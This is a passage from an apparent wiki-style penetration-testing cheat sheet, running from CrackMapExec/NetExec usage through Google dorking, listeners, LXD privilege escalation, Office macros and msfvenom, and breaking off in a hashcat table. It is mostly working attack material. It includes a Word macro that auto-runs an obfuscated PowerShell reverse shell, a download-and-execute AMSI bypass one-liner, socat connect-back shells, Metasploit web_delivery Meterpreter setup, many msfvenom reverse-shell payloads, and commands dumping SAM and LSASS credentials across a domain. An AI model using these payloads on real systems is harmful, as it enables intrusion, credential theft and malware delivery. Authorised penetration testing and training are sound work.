rackmapexec ldap -u -p --gmsa-decrypt-lsa '_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724:01000000240200001000120114021c02fbb096d10991bb88c3f54e153807b4c1cc009d30bc3c50fd6f72c99a1e79f27bd0cbd4df69fdf08b5cf6fa7928cf6924cf55bfd8dd505b1da26ddf5695f5333dd07d08673029b01082e548e31f1ad16c67db0116c6ab0f8d2a0f6f36ff30b160b7c78502d5df93232f72d6397b44571d1939a2d18bb9c28a5a48266f52737c934669e038e22d3ba5a7ae63a608f3074c520201f372d740fddec77a8fed4ddfc5b63ce7c4643b60a8c4c739e0d0c7078dd0c2fcbc2849e561ea2de1af7a004b462b1ff62ab4d3db5945a6227a58ed24461a634b85f939eeed392cf3fe9359f28f3daa8cb74edb9eef7dd38f44ed99fa7df5d10ea1545994012850980a7b3becba0000d22d957218fb7297b216e2d7272a4901f65c93ee0dbc4891d4eba49dda5354b0f2c359f185e6bb943da9bcfbd2abda591299cf166c28cb36907d1ba1a8956004b5e872ef851810689cec9578baae261b45d29d99aef743f3d9dcfbc5f89172c9761c706ea3ef16f4b553db628010e627dd42e3717208da1a2902636d63dabf1526597d94307c6b70a5acaf4bb2a1bdab05e38eb2594018e3ffac0245fcdb6afc5a36a5f98f5910491e85669f45d02e230cb633a4e64368205ac6fc3b0ba62d516283623670b723f906c2b3d40027791ab2ae97a8c5c135aae85da54a970e77fb46087d0e2233d062dcd88f866c12160313f9e6884b510840e90f4c5ee5a032d40000f0650a4489170000f0073a9188170000'
## List all PKI enrollment server
crackmapexec run ldap -u user -p pass -M adcs
## Extract subnet
crackmapexec ldap -u -p -M get-network
crackmapexec ldap -u -p -M get-network -o ONLY_HOSTS=true
crackmapexec ldap -u -p -M get-network -o ALL=true
# Username + Password + CMD command
crackmapexec mssql -d -u -p -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d -u -H -X '$PSVersionTable'
</syntaxhighlight>

=== NetExec ===

<syntaxhighlight lang="bash">
# https://github.com/Pennyw0rth/NetExec
# This project was initially created in 2015 by @byt3bl33d3r, known as CrackMapExec. In 2019 @mpgn_x64 started maintaining the project for the next 4 years, adding a lot of great tools and features. In September 2023 he retired from maintaining the project.
# cheatsheet
https://www.netexec.wiki/
# General
netexec -u username -p password
# Using modules
# List available modules
nxc smb -L
# View module options
nxc smb -M lsassy --options
# Using Kerberos
$ export KRB5CCNAME=/home/bonclay/impacket/administrator.ccache
$ nxc smb zoro.gold.local --use-kcache
$ export KRB5CCNAME=/home/bonclay/impacket/bonclay.ccache
$ sudo nxc smb zoro.gold.local --use-kcache -x whoami
# Send a local file to the remote target
nxc smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt
# Get a remote file on the remote target
nxc smb 172.16.251.152 -u user -p pass --get-file \\Windows\\Temp\\whoami.txt /tmp/whoami.txt
# Read LAPS
nxc smb -u user-can-read-laps -p pass --laps
# Impersonate logged on user
# 1. Enumerate logged-on users on your Target
nxc smb -u -p --loggedon-users
# 2. Execute commands on behalf of other users
nxc smb -u -p -M schtask_as -o USER= CMD=
# Find Domain SID
$ nxc ldap DC1.scrm.local -u sqlsvc -p Pegasus60 -k --get-sid
# Kerberoasting
nxc ldap 192.168.0.104 -u harry -p pass --kerberoasting output.txt
# Unconstrained delegation - retrieve the list of all computers and users with the flag TRUSTED_FOR_DELEGATION
nxc ldap 192.168.0.104 -u harry -p pass --trusted-for-delegation
# Dump gMSA
$ nxc ldap -u -p --gmsa
# Bloodhound ingenstor
nxc ldap -u user -p pass --bloodhound -ns --collection All

</syntaxhighlight>

==== Meterpreter using Invoke-metasploitpayload.ps1 ====

<syntaxhighlight lang="bash">
# https://github.com/Ethical-Hacking-Repos/Invoke-MetasploitPayload/blob/master/README.md
# https://www.netexec.wiki/smb-protocol/command-execution/getting-shells-101#meterpreter
# Meterpreter
# We can use the metinject module launch a meterpreter using Invoke-MetasploitPayload Invoke-MetasploitPayload.ps1 script.
# On your Metasploit instance, run the following commands
use exploit/multi/script/web_delivery
# The SRVHOST and SRVPORT variables are used for running the webserver to host the script
set SRVHOST 10.211.55
set SRVPORT 8443
# The target variable determines what type of script we're using. 2 is for PowerShell
set target 2
# Pick your payload. In this case, we'll use a reverse https meterpreter payload
set payload windows/meterpreter/reverse_https
set LHOST 10.211.55
set LPORT 443
# Run the exploit
run -j
# Once run, the web_delivery module will spin up the webserver to host the script and reverse listener for our meterpreter session.
msf exploit(web_delivery) > run -j
[*] Exploit running as background job.
[*] Started HTTPS reverse handler on https://10.211.55.4:8443/
[*] Using URL: http://10.211.55.4:8080/eYEssEwv2D
[*] Local IP: http://10.211.55.4:8080/eYEssEwv2D
[*] Server started.
# Then just run the met_inject module and specify the LHOST and LPORT values:
~ NetExec 192.168.10.0/24 -u username -p password -M met_inject -o SRVHOST=192.168.10.3 SRVPORT=8443 RAND=eYEssEwv2D SSL=http
</syntaxhighlight>

=== PsMapExec ===

<syntaxhighlight lang="powershell">
# Cheathseet
https://viperone.gitbook.io/pentest-everything/psmapexec
https://github.com/The-Viper-One/PsMapExec
# A PowerShell tool heavily inspired by the popular tool CrackMapExec. Far too often I find myself on engagements without access to Linux in order to make use of CrackMapExec.
# PsMapExec is used as a post-exploitation tool to assess and compromise an Active Directory environment.
# Load directly into memory and attempt to bypass AV
# Invoke-NETMongoose.ps1 is an AMSI bypass
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1");IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")

# PsMapExec has some dependencies that need to be pulled from outside the script itself in order to function.
## Primarily these are:
### Kirby (PowerShell based Kerberos ticket dump)
### Invoke-Pandemonium (Slightly modified Mimikatz)

# Examples
# Execute WMI commands over all systems in the domain using password authentication
PsMapExec -Username Admin -Password Pass -Targets All -Method WMI -Command "net user"
# Execute WinRM commands over all systems in the domain using hash authentication
PsMapExec -Username Admin -Hash [Hash] -Targets All -Method WinRM -Command "net user"
# Check RDP Access against workstations in the domain
PsMapExec -Username Admin -Password Pass -Targets Workstations -Method RDP
# Dump SAM on all servers in the domain using SMB
PsMapExec -Username [User] -Hash [Hash] -Targets Servers -Method SMB -Module SAM
# Check SMB Signing on all domain systems
PsMapExec -Targets All -Method GenRelayList
# Dump LogonPasswords on all Domain Controllers over SMB
PsMapExec -Username Admin -Password Pass -Targets DCs -Method SMB -Module LogonPasswords
</syntaxhighlight>

== GIT ==

See PG Hunit writeup

=== Download .git ===

<syntaxhighlight lang="bash">
mkdir
./gitdumper.sh /.git/
</syntaxhighlight>

=== Extract .git content ===

<syntaxhighlight lang="bash">
mkdir
./extractor.sh
</syntaxhighlight>

=== GIT basic commands ===

<syntaxhighlight lang="bash">
# Stage the file for commit to your local repository by the following command. -A means add changes from all tracked and untracked files
git add -A
# Configure who you are in order to commit
git config --global user.email "you@example.com"
git config --global user.name "Your Name"
# The git commit command **captures a snapshot of the project's currently staged changes**.
git commit -m "This is a message"
# Push your changes to the remote server. "master" refers to master branch in your repository.
git push origin master
</syntaxhighlight>

=== ===

=== GIT_SSH_COMMAND ===

<syntaxhighlight lang="bash">
# GIT_SSH_COMMAND
# If either of these environment variables is set then _git fetch_ and _git push_ will use the specified command instead of _ssh_ when they need to connect to a remote system.
# Below command will SSH to user git at 192.168.243.124 and clone the repo from /git-server
GIT_SSH_COMMAND='ssh -i id_rsa -p 43022' git clone git@192.168.243.125:/git-server
# This command wil SSH to user git and push the changes to the remote server.
GIT_SSH_COMMAND='ssh -i id_rsa -p 43022' git push origin master
</syntaxhighlight>

=== GitLeaks - Scan repos for secrets ===

<syntaxhighlight lang="bash">
# https://github.com/zricethezav/gitleaks
gitleaks detect --source . -v
</syntaxhighlight>

----

== Google Dorking ==

<syntaxhighlight lang="bash">
https://dorksearch.com/
site:target[.]com ext:php inurl:?
site:target.tld intitle:"index of /" # intitle:"index of /": This searches for pages with “index of /” in their title. The “index of /” is typically shown in the title of directory listings on servers where directory browsing is enabled. It allows you to see a raw directory of files hosted on a server.
</syntaxhighlight>

=== Search operators ===

[https://github.com/chr3st5an/Google-Dorking GitHub - chr3st5an/Google-Dorking: Google Dorking Cheat Sheet]

{| class="wikitable"
|-
! Operator
! Description
! Syntax
! Example
|-
| ()
| Group multiple terms or operators. Allows advanced expressions
| (<term> or <operator>)
| inurl:(html | php)
|-
| *
| Wildcard. Matches any word
| <text> * <text>
| How to * a computer
|-
| ""
| The given keyword has to match exactly. case-insensitive
| "<keywords>"
| "google"
|-
| m..n / m...n
| Search for a range of numbers. n should be greater than m
| <number>..<number>
| 1..100
|-
| -
| Documents that match the operator are excluded. NOT-Operator
| -<operator>
| -site:youtube.com
|-
| +
| Include documents that match the operator
| +<operator>
| +site:youtube.com
|-
| |
| Logical OR-Operator. Only one operator needs to match in order for the overall expression to match
| <operator> | <operator>
| "google" | "yahoo"
|-
| ~
| Search for synonyms of the given word. Not supported by Google
| ~<word>
| ~book
|-
| @
| Perform a search only on the given social media platform. Rather use site
| @<socialmedia>
| @instagram
|-
| after
| Search for documents published / indexed after the given date
| after:<yy(-mm-dd)>
| after:2020-06-03
|-
| allintitle
| Same as intitle but allows multiple keywords seperated by a space
| allintitle:<keywords>
| allintitle:dog cat
|-
| allinurl
| Same as inurl but allows multiple keywords seperated by a space
| allinurl:<keywords>
| allinurl:search com
|-
| allintext
| Same as intext but allows multiple keywords seperated by a space
| allintext:<keywords>
| allintext:math science university
|-
| AROUND
| Search for documents in which the first word is up to n words away from the second word and vice versa
| <word1> AROUND(<n>) <word2>
| google AROUND(10) good
|-
| author
| Search for articles written by the given author if applicable
| author:<name>
| author:Max
|-
| before
| Search for documents published / indexed before the given date
| before:<yy(-mm-dd)>
| before:2020-06-03
|-
| cache
| Search on the cached version of the given website. Uses Google's cache to do so
| cache:<domain>
| cache:google.com
|-
| contains
| Search for documents that link to the given fileype. Not supported by Google
| contains:<filetype>
| contains:pdf
|-
| date
| Search for documents published within the past n months. Not supported by Google
| date:<number>
| date:3
|-
| define
| Search for the definition of the given word
| define:<word>
| define:funny
|-
| ext
| Search for a specific filetype
| ext:<documenttype>
| ext:pdf
|-
| filetype
| Refer to ext
| filetype:<documenttype>
| filetype:pdf
|-
| inanchor
| Search for the given keyword in a website's anchors
| inanchor:<keyword>
| inanchor:security
|-
| index of
| Search for documents containing direct downloads
| index of:<term>
| index of:mp4 videos
|-
| info
| Search for information about a website
| info:<domain>
| info:google.com
|-
| intext
| Keyword needs to be in the text of the document
| intext:<keyword>
| intext:news
|-
| intitle
| Keyword needs to be in the title of the document
| intitle:<keyword>
| intitle:money
|-
| inurl
| Keyword needs to be in the URL of the document
| inurl:<keyword>
| inurl:sheet
|-
| link / links
| Search for documents whose links contain the given keyword. Useful for finding documents that link to a specific website
| link:<keyword>
| link:google
|-
| location
| Show documents based on the given location
| location:<location>
| location:USA
|-
| numrange
| Refer to m..n
| numrange:<number>-<number>
| numrange:1-100
|-
| OR
| Refer to |
| <operator> OR <operator>
| "google" OR "yahoo"
|-
| phonebook
| Search for related phone numbers associated with the given name
| phonebook:<name>
| phonebook:"william smith"
|-
| relate / related
| Search for documents that are related to the given website
| relate:<domain>
| relate:google.com
|-
| safesearch
| Exclude adult content such as pornographic videos
| safesearch:<keyword>
| safesearch:sex
|-
| source
| Search on a specific news site. Rather use site
| source:<news>
| source:theguardian
|-
| site
| Search on the given site. Given argument might also be just a TLD such as com, net, etc
| site:<domain>
| site:google.com
|-
| stock
| Search for information about a market stock
| stock:<stock>
| stock:dax
|-
| weather
| Search for information about the weather of the given location
| weather:<location>
| weather:Miami
|}

=== Finding Valuable Information ===

<syntaxhighlight lang="bash">
intitle:"webcamXP 5" | inurl:"lvappl.htm"
</syntaxhighlight>

Find open/public webcams

<syntaxhighlight lang="bash">
intext:password ext:log
</syntaxhighlight>

Find log documents wich have the string "password" in it

<syntaxhighlight lang="bash">
inurl:/proc/self/cwd
</syntaxhighlight>

Find vulnerable webservers

<syntaxhighlight lang="bash">
inurl:email.xls ext:xls
</syntaxhighlight>

Find excel documents that contain email addresses

<syntaxhighlight lang="bash">
index of:mp3 intext:.mp3
</syntaxhighlight>

Find mp3 (music) documents

<syntaxhighlight lang="bash">
intext:"index of /"
</syntaxhighlight>

Finding indexed files

----

== Listener ==

<syntaxhighlight lang="bash">
# ATTENTION
# Some target machines might block the port you've choosen to use as listening port. If you dont get a connection, try changing the port to some standard ports like 80, 443, 445 etc.
</syntaxhighlight>

=== Metasploit ===

<syntaxhighlight lang="bash">
use exploit/multi/handler
set PAYLOAD
set LHOST
set LPORT
set ExitOnSession false
exploit -j -z
</syntaxhighlight>

=== Netcat ===

<syntaxhighlight lang="bash">
# Listen on port
nc -lvnp
# Use rlwrap for better shell on Windows
rlwrap nc -lvnp
# Connect to port
nc -nv
</syntaxhighlight>

=== Socat ===

<syntaxhighlight lang="bash">
# Basic listener
socat TCP-L: -
# Windows connect back
socat TCP::
EXEC:powershell.exe,pipes
# Linux connect back
socat TCP:: EXEC:"bash -li"
# Encrypted shell - Basic listener
https://blog.aghanim.net/?p=1043#Socat_encrypted_shells
socat OPENSSL-LISTEN:,cert=shell.pem,verify=0 –
# Connect back
socat OPENSSL::,verify=0 EXEC:/bin/bash
</syntaxhighlight>

----

== LXD - Privilege escalation ==

[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation]

Step 1

<syntaxhighlight lang="bash">
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]
└─# sudo /root/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]
└─# ls
alpine.yaml lxd.tar.xz rootfs.squashfs
</syntaxhighlight>

Step 2

<syntaxhighlight lang="bash">
ash@tabby:~$ wget http://10.10.14.18:9000/lxd.tar.xz
--2022-02-10 14:04:26-- http://10.10.14.18:9000/lxd.tar.xz
Connecting to 10.10.14.18:9000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 844 [application/x-xz]
Saving to: ‘lxd.tar.xz’
lxd.tar.xz 100%[===================>] 844 --.-KB/s in 0s
2022-02-10 14:04:26 (105 MB/s) - ‘lxd.tar.xz’ saved [844/844]
ash@tabby:~$ wget http://10.10.14.18:9000/rootfs.squashfs
--2022-02-10 14:04:36-- http://10.10.14.18:9000/rootfs.squashfs
Connecting to 10.10.14.18:9000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2052096 (2.0M) [application/octet-stream]
Saving to: ‘rootfs.squashfs’
rootfs.squashfs 100%[===================>] 1.96M 4.02MB/s in 0.5s
2022-02-10 14:04:37 (4.02 MB/s) - ‘rootfs.squashfs’ saved [2052096/2052096]
</syntaxhighlight>

Step 3

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
ash@tabby:~$ lxc image list
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+
| alpine | 9c716211a82e | no | Alpinelinux 3.8 x86_64 (20220210_1356) | x86_64 | CONTAINER | 1.96MB | Feb 10, 2022 at 2:04pm (UTC) |
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+
</syntaxhighlight>

Step 4

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true
Creating privesc
Error: No storage pool found. Please create a new storage pool
</syntaxhighlight>

==== Fix no storage pool found with lxd init ====

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true
Creating privesc
ash@tabby:~$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]: ye^H^H^H^H^C
ash@tabby:~$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes
Name of the new storage pool [default=default]: h^Hhel^H^H^[^H^C
ash@tabby:~$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes
Name of the new storage pool [default=default]: hello
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]: z^H
Invalid input, try again.
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]:
Create a new ZFS pool? (yes/no) [default=yes]: yes^H^H
Invalid input, try again.
Create a new ZFS pool? (yes/no) [default=yes]:
Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]:
Size in GB of the new loop device (1GB minimum) [default=5GB]:
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like the LXD server to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
</syntaxhighlight>

Step 5

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true
Creating privesc
ash@tabby:~$ lxc list
+---------+---------+------+------+-----------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+---------+---------+------+------+-----------+-----------+
| privesc | STOPPED | | | CONTAINER | 0 |
+---------+---------+------+------+-----------+-----------+
</syntaxhighlight>

Step 6

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
Device host-root added to privesc
ash@tabby:~$ lxc start privesc
ash@tabby:~$ lxc exec privesc /bin/sh
~ # id
uid=0(root) gid=0(root)
</syntaxhighlight>

----

== Macro ==

=== Microsoft Word ===

Word file must be saved as .doc or .docm since they support embedded macro. .docx wont work.

When transferring the .doc or .docm remember to either ZIP the dociment or use tftp, otherwise the macro might be lost.

Remember to set Macro in the document, otherwise it will only work locally.

[[File:2022-09-image.png|thumb]]

<syntaxhighlight lang="bash">
# Open Word --> View --> Macro --> Show Macro --> Create
# The below script will send a reverse shell powershell command
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim Str As String
Str = "powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZ"
Str = Str + "QB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQB"
Str = Str + "TAHQAcgBlAGEAbQAoACwAWwBDAG8AbgB2AGUAcgB0AF0AOgA6A"
Str = Str + "EYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEg"
Str = Str + "ANABzAEkAQQBBAEEAQQBBAEEAQQBFAEEATAAxAFgANgAyACsAY"
Str = Str + "gBTAEIARAAvAG4ARQBqADUASAAvAGgAZwBDAFoAQwBJAFoAUgB"
...
Str = Str + "AZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0Ac"
Str = Str + "AByAGUAcwBzACkADQAKACQAcwB0AHIAZQBhAG0AIAA9ACAATgB"
Str = Str + "lAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtA"
Str = Str + "FIAZQBhAGQAZQByACgAJABnAHoAaQBwACkADQAKAGkAZQB4ACA"
Str = Str + "AJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAVABvAEUAbgBkACgAK"
Str = Str + "QA="
CreateObject("Wscript.Shell").Run Str
End Sub
------------------------
# Script to generate Str = Str + payloads. Generate a payload with revshells.com and 'Powershell#3 Base64'
┌──(root💀kali)-[/home/…/Desktop/Reverse-Shell-From-Word-Document]
└─# cat payload.py
str="powershell -e JABjAGwAaQBlAG4AdAAgAD..."
n=50
for i in range(0,len(str),n):
print("Str = str+" + '"' + str[i:i+n] +'"')

...................................
# The below script will ping target.
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
CreateObject("Wscript.Shell").Run "Ping.exe -t 192.168.119.182"
End Sub
</syntaxhighlight>

[[File:2022-08-image-4.png|thumb]]

=== LibreOffice Basic ===

=== ===

[[File:2022-08-Pasted-image-20220704111937.png|thumb]]

[[File:2022-08-Pasted-image-20220704111909.png|thumb]]

Make sure this macro is run when the document is opened. Close the macro editors, and back in the document, go to Tools –> Customize and select Open Document.

[[File:2022-08-image-3.png|thumb]]

----

== Mitre Framework ==

{| class="wikitable"
|-
! Title
! URL
! Short Description
|-
| MITRE Engage
| [https://engage.mitre.org/ https://engage.mitre.org/]
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.
|-
| MITRE ATT&CK
| [https://attack.mitre.org/ https://attack.mitre.org/]
| MITRE ATT&CK is a knowledge base for adversary tactics and techniques used in cyberattacks.
|-
| MITRE Cyber Analytics Repository (CAR)
| [https://car.mitre.org/ https://car.mitre.org/]
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.
|-
| MITRE D3FEND
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&CK.
|-
| Common Vulnerabilities and Exposures (CVE)
| [https://cve.mitre.org/ https://cve.mitre.org/]
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.
|-
| Common Attack Pattern Enumeration and Classification (CAPEC)
| [https://capec.mitre.org/ https://capec.mitre.org/]
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.
|-
| Common Weakness Enumeration (CWE)
| [https://cwe.mitre.org/ https://cwe.mitre.org/]
| CWE is a community-developed list of common software and hardware weaknesses.
|-
| Malware Attribute Enumeration and Characterization (MAEC)
| [https://maecproject.github.io/ https://maecproject.github.io/]
| MAEC is a project for standardizing the encoding and communication of malware characteristics.
|}

----

== Monitor Processes ==

=== Process Explorer ===

[https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer Process Explorer - Sysinternals | Microsoft Learn]

* '''Purpose:''' Process Explorer is a task manager and system monitoring utility. It provides detailed information about running processes, their resource usage, and the relationship between processes.

* '''Features:'''
Real-time monitoring of active processes, threads, and modules.

* Hierarchical view of processes, showing parent-child relationships.

* Detailed information about process properties, memory usage, and CPU utilization.

* Identification of the processes responsible for specific open handles or DLLs.

* Capabilities to suspend, terminate, or explore processes.

* Integration with VirusTotal to scan processes for malware.

* '''Use Case:''' Process Explorer is commonly used for diagnosing system performance issues, troubleshooting process-related problems, and gaining insight into the overall system activity.

=== Process Monitor ===

[https://learn.microsoft.com/en-us/sysinternals/downloads/procmon Process Monitor - Sysinternals | Microsoft Learn]

* '''Purpose:''' Process Monitor is a real-time system monitoring tool that captures and displays in-depth information about file system, registry, and process/thread activity on a Windows system.

* '''Features:'''
Detailed tracking of file system and registry operations, including reads, writes, and modifications.

* Capturing of process and thread activity, including creation, termination, and interactions.

* Filtering and searching capabilities to narrow down the captured data.

* Advanced filtering to include/exclude specific processes, operations, or paths.

* Ability to generate logs for analysis and troubleshooting.

* Integration with other Sysinternals tools like Autoruns and TCPView.

* '''Use Case:''' Process Monitor is often used to troubleshoot issues related to file system or registry access, such as debugging application failures, identifying permission problems, or tracking down malware activities.

=== Process Hacker ===

[https://processhacker.sourceforge.io/ https://processhacker.sourceforge.io/]

* '''Focus:''' Process Hacker aims to provide an advanced task manager with detailed process information and control options.

* '''Features:'''
Comprehensive process details, memory usage, and performance metrics.

* Real-time graphs for system resource monitoring.

* Advanced process management, including termination, suspension, and prioritization.

* Tools for viewing and manipulating network connections and memory content.

* Support for plugins to extend functionality.

* '''Common Uses:''' In-depth process analysis, identifying resource bottlenecks, managing and troubleshooting running processes.

----

== Msfvenom commands ==

=== What is exitfunc= in msfvenom ===

Exitfunc tells the payload what to do when it is done with its attack. It can be one of these four options:

* none: do nothing and keep running

* seh: use a special technique to exit without crashing

* thread: stop the part of the program that runs the payload and leave the rest alone

* process: kill the whole program that runs the payload

The best option depends on the situation and the goal of the attack. For example, if you want to be stealthy and avoid detection, you might choose thread or seh. If you want to cause damage and disruption, you might choose process or none. You can learn more about exitfunc and its options from this article.

=== ASP ===

<syntaxhighlight lang="bash">
ASP or ASPX
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp or aspx > rev_shell.asp or aspx
</syntaxhighlight>

=== Bash ===

=== hta ===

<syntaxhighlight lang="bash">
# Use msfvenom to turn basic HTML Application into an attack, relying on the hta-psh output format to create an HTA payload based on PowerShell.
sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta
</syntaxhighlight>

=== JSP ===

<syntaxhighlight lang="bash">
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.jsp
</syntaxhighlight>

=== WAR ===

<syntaxhighlight lang="bash">
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f war > shell.war
</syntaxhighlight>

=== PHP ===

<syntaxhighlight lang="bash">
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php
msfvenom -p php/reverse_php LHOST= LPORT= -f raw > shell.php
</syntaxhighlight>

=== Python ===

<syntaxhighlight lang="bash">
Python
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py
</syntaxhighlight>

=== Perl ===

<syntaxhighlight lang="bash">
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl
</syntaxhighlight>

=== Powershell ===

<syntaxhighlight lang="bash">
# Very important! Remember to choose correct CPU architecture before generating payload. If using for macro, Word will usually open PowerShell in 32-bit since it opens PowerShell from SysWOW64. Otherwise, use 64-bit. Always check target CPU arch before generating.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f ps1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f psh -o shell.ps1
</syntaxhighlight>

=== Linux ===

<syntaxhighlight lang="bash">
# Linux x64
msfvenom -p linux/x64/shell/reverse_tcp LHOST= LPORT= -f elf > shell-x64.elf
# Linux x86
msfvenom -p linux/x86/shell/reverse_tcp LHOST= LPORT= -f elf > shell-x86.elf
# UNIX CMD
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh
# Fork a new process, xor encrypted
sudo msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun1 LPORT=443 prependfork=true -f elf -t 300 -e x64/xor_dynamic -o test.elf
</syntaxhighlight>

=== OSX ===

<syntaxhighlight lang="bash">
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f macho > shell.macho
</syntaxhighlight>

=== Windows ===

<syntaxhighlight lang="bash">
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe
MSI
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f msi > rev_shell.msi
Windows x64
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe > rev_x64_shell.exe
Windows
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.185 LPORT=443 -f psh-cmd
Windows encoded payload
msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f python
-e = encoding
-i = iteration (how many times to encode the payload)
-b = bad character
Stageless
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe > rev_shell.exe
Staged
msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe > rev_shell.exe
Generating shellcode
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c
</syntaxhighlight>

----

== Fuzzers ==

=== ffuf ===

[https://www.tsustyle.com/cheatsheets/ffuf-cheatsheet/ Source]

<syntaxhighlight lang="bash">
# Generic
ffuf -w wordlist.txt -u http://site.com/FUZZ
# File discovery using extensions
ffuf -w wordlist.txt -u http://site.com/FUZZ -e .php,.html
# Vhost
ffuf -w subdomains.txt -u http://site.com/ -H "Host: FUZZ.site.com"
# Login forms generic
ffuf -w /wordlist -d "username=admin&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -u http://site.com/login
# POST bruteforce. -fs means filter out size 17.
ffuf -X POST -H 'Content-Type: application/json' -d '{"user":"FUZZ", "url":"192.168.49.153/shell.elf"}' -u http://192.168.153.134:13337/update -w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -fs 17

</syntaxhighlight>

=== wfuzz ===

----

== Password Cracking ==

=== Hashcat ===

Example commands

{| class="wikitable"
|-
! Attack-mode
! Hash-type
! Example command
|-
| Wordlist
| $P$
| hashcat -a 0 -m 400 example400.hash example.dict
|-
| Wordlist + Rules
| MD5
| hashcat -a 0 -m 0 example0.hash example.dict -r rules/best64.rule
|-
| Brute-Force
| MD5
| hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a
|-
| Combinator
| MD5
| hashcat -a 1 -m 0 example0.hash example.dict example.dict
|-
| Association
| $1$
